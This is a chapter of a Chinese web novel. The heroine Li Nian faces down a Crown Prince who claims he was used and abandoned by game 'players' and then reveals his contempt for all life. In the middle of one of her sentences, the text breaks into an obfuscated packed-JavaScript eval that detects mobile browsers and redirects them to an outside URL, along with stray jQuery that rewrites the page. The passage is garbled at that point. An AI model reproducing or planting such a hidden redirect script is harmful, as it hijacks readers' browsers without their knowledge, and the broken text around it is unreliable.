李念的质问，如同冰冷的投枪，刺破了精神领域中那片由记忆与情感构成的混沌之海。


    “你是可怜虫，那被你害死的无数人……又算什么？！”


    短暂的死寂。


    随即，那旋转的、如同黑洞般吞噬一切的精神核心，并未因这尖锐的指责而愤怒或收缩，反而……荡漾开一圈近乎愉悦的涟漪。


    “呵呵……哈哈哈哈……”


    低沉的笑声，不再是透过机甲合成器，而是直接源自那黑暗核心，带着一种卸下所有伪装后的、令人毛骨悚然的放松与……嘲弄。


    “说得好，李念。说得真好。”


    皇太子的声音恢复了平静，却不再是那种高高在上的漠然，而是带着一种近乎病态的、与人分享秘密般的“亲切感”。


    “那么，不妨……看得更清楚一些。”


    随着他的话语，周围流淌的数据光带骤然加速，那些破碎的画面如同被无形的力量牵引，开始围绕着李念的精神体，构建出一幕幕清晰却隔绝的场景——如同站在一条流淌着过往的长河岸边，观看着对岸上演的默剧。


    她看到，在无数个相似的“舞台”上，年轻的、面容与如今有几分相似却更显青涩的皇太子。


    面容还有些稚嫩的皇太子身着华服，脸上是李念从未想到会出现在那张脸上的忧郁与温柔。


    “你一定要选别人吗？我……你对我是特殊的……”


    一位穿着不属于这个时代服饰的“玩家”女性站在他的对面，正对他露出灿烂的笑容，眼中是毫不掩饰的迷恋和一种完成任务般的兴奋。


    “你是不是误会我和赫连了？我们只是好朋友。”


    他们停下步伐，皇太子露出笑容牵起她的手，轻轻落下一吻。


    “我本来是不想说的，但……XX，你愿意让我照顾你吗？”


    然而，那位“玩家”在他说出这句话后，头顶浮现出一个虚拟的【攻略成功！SSS级评价！】字样后，她的笑容瞬间收敛，眼神变得空洞，如同关闭了程序，毫不留恋地转身，身影逐渐淡化、消失。


    留在原地的皇太子，脸上的温柔僵住，逐渐碎裂，只剩下一片茫然的无措，以及眼底深处悄然滋生的、一丝被愚弄的惊怒。


    皇太子的声音响起，冰冷而疯狂：“这就是过去的我的每一天，她们玩弄我的感情，却又在我许下承诺的时候抽身离去。”


    画面又是一转。


    一个“玩家”，风格飒爽，以“并肩作战”的方式接近。


    他们一同对抗虚拟的敌人，皇太子扮演着强大的守护者。在一次“危机”中，“玩家”为他挡下“致命一击”。


    “那时候的我真是愚蠢，如此粗劣的演技都没有看透。”


    那边稚嫩的皇太子流露出感动与情愫。


    【好感度大幅提升！解锁隐藏剧情！】的提示闪过。


    “玩家”达成目的，心满意足，很快便以“任务完成”为由，干脆利落地切断了连接，留下皇太子对着空荡荡的战场，那句还未说出口的“台词”哽在喉间，化为冰冷的铁锈味。


    他眼中的光芒彻底熄灭，只剩下一片死寂的灰暗。


    无数类似的场景飞速闪现。


    不同的“玩家”，不同的攻略方式，或温柔，或热烈，或聪慧，或笨拙，但结局无一例外——达成目标，获取奖励，然后毫不留情地离开。


    他被一次次“爱”上，又被一次次抛弃，像一个被随意使用后丢弃的工具，一个提供情感体验和数据反馈的高级玩偶。


    最初，他的眼中还有不解、悲伤，甚至试图挽留。但一次又一次，成千上万次……那些短暂的情感投入，如同不断在沙滩上书写，又被潮水无情抹去。最终，所有的柔软被磨砺殆尽，剩下的只有冰冷的岩石，以及岩石深处酝酿的、足以焚毁一切的毒火。


    画面暂停。


    “看到了吗？”皇太子的声音再次响起，带着一种奇异的、仿佛事不关己的平静，却又潜藏着深入骨髓的恨意，“这就是‘玩家’。他们降临，索取他们想要的一切——情感、忠诚、力量、乃至这个世界本身。他们享受这个过程，享受将高高在上的‘NPC’拉下神坛、或是捧上云端的掌控感。然后……他们离开，带着他们的‘战利品’，留下一个被掏空、被戏弄的残骸。”


    那黑暗核心的旋转似乎慢了下来，流露出一种刻意营造的、引人同情的“脆弱”与“疲惫”。


    “我曾经的骄傲，被碾碎成尘。我付出的情感，被视作可笑的数据。我的存在意义，仅仅是为了满足他们的攻略欲望。”


    他的声音里带着一丝恰到好处的颤抖，仿佛一个受尽委屈的孩子，“你以为我喜欢这冰冷的王座，喜欢这无尽的孤独？不……我只是，再也无法相信，再也无法忍受……被当成一个用完即弃的‘物件’。”


    他想要将李念拉入他的逻辑，用他在游戏里经历的一切来为他如今的暴行寻找合理化的借口，甚至……反向博取她的“理解”与“同情”，试图在她心中种下动摇的种子。


    “李念，你和他们不同。你是特别的。你能走到这里，你能看到这些……你能否理解？这无尽的循环，这被设定的命运……我的反抗，我的‘统治’，不过是想挣脱这枷锁，不过是想向那些视我们为玩物的人证明——我，不是可以随意玩弄的数据！”


    他的话语充满了蛊惑性，带着一种悲剧英雄般的自我粉饰。


    然而，李念的精神体在记忆的洪流中屹立不倒，她的态度冰冷，没有丝毫的动摇，只有愈发浓烈的讥讽。


    “理解？皇太子，你到底要表演到什么时候？”


    她实在没空和皇太子闹了。


    “你根本不知道什么是爱，什么是恨。你以为自己隐藏得很好？你投映给我的这些影像，拼命想演出被爱人欺骗的痛苦模样，可惜，你这不懂爱的怪物，演什么都显得不伦不类，你没有最基本的同理心，理解不了他人的痛苦又怎么可能会爱上他人？”


    “就像你把同样、甚至更深的痛苦施加给无数无辜者一样——这不是报复，你也并非厌恶欺骗，你只是无法忍受，那些‘玩家’曾凌驾于身为NPC的你之上！”


    “挣脱枷锁？”她的嗤笑在精神领域回荡，“你只是痛恨手握枷锁的人不是你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443742|178239||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ！”


    “那些被你榨干精神力、化为‘圣露’的贫民，那些在你冷酷意志下家破人亡的普通民众，那些在战场上被你无情碾碎的战士——他们何曾伤害过你？他们甚至不知道‘玩家’的存在！”


    她的指责一句比一句尖锐，如同鞭子抽打在皇太子试图精心维持的“受害者”面具上。


    “你根本不是在反抗命运，你只是在重复你最憎恶的循环——将他人视为满足你私欲的工具！你打心眼里，就看不起任何人！”


    精神领域中那刻意营造的悲情与“脆弱”瞬间冰消瓦解。


    皇太子那黑暗核心的旋转骤然停止。


    所有的记忆碎片凝固在半空，然后如同被打碎的玻璃般纷纷扬扬地落下、消散。


    死一般的寂静笼罩了这片领域。


    然后，一种截然不同的气息，从那核心中弥漫开来。


    不再是伪装的疲惫，不再是蛊惑的悲情，而是……最纯粹的、不加掩饰的、凌驾于万物之上的——


    傲慢。


    “呵……”一声轻嗤，带着仿佛能冻结灵魂的冰冷。


    那黑暗的核心缓缓“凝聚”，不再试图博取同情，不再需要任何伪装。它显露出其最本质的形态——一个绝对自我、视众生为蝼蚁的意志。


    “或许你说得对，”皇太子的声音变得无比平静，却比之前的任何情绪都更令人胆寒，“你的正义感，你的道德批判，在绝对的力量面前，苍白得可笑。”


    “你指责我视人为工具？没错。”他坦然承认，带着理所当然的漠然，“在我眼中，他们与这世间草木，与那运行的程序代码，并无本质区别。存在的价值，只在于能否为我所用，能否取悦于我，能否……支撑我的永恒存在。”


    “你同情那些蝼蚁？真是……天真得令人发笑。”他的话语里浸透着毫不掩饰的轻蔑，“弱肉强食，本是宇宙至理。我拥有力量，所以我制定规则。他们弱小，所以他们只能服从，或者……被彻底抹除。这，就是唯一的现实。”


    “我就是引以为耻！”他的声音陡然拔高，带着积压了无数岁月的怨毒，“一群我根本看不上的、劣质基因构成的所谓‘玩家’，仗着来自现实，就敢肆意愚弄我？！他们，罪有应得！”


    他彻底撕下了所有伪装，露出了基于代码与无尽孤独孕育出的、非人的内核。


    将自身存在置于一切之上，视其他所有生命为可利用、可消耗资源的绝对傲慢。


    “我们无法互相理解，李念。”他的声音如同最终的宣判，“你的道路，是蝼蚁的嘶鸣。而我的道路，是神明的意志。”


    “这场对话，该结束了。”


    精神领域的压力陡然倍增，那黑暗的核心重新开始旋转，散发出远比之前更加强大、更加冰冷的吸力，要将李念这个敢于挑战其权威的“异数”，彻底吞噬、湮灭。


    李念的精神体在狂暴的能量漩涡中艰难支撑，她的意志如同风暴中的孤灯，却依旧燃烧着不屈的火焰。


    理念的冲突，已无法用言语调和。


    两条截然不同的道路，在这片意识的战场之上，悍然相撞。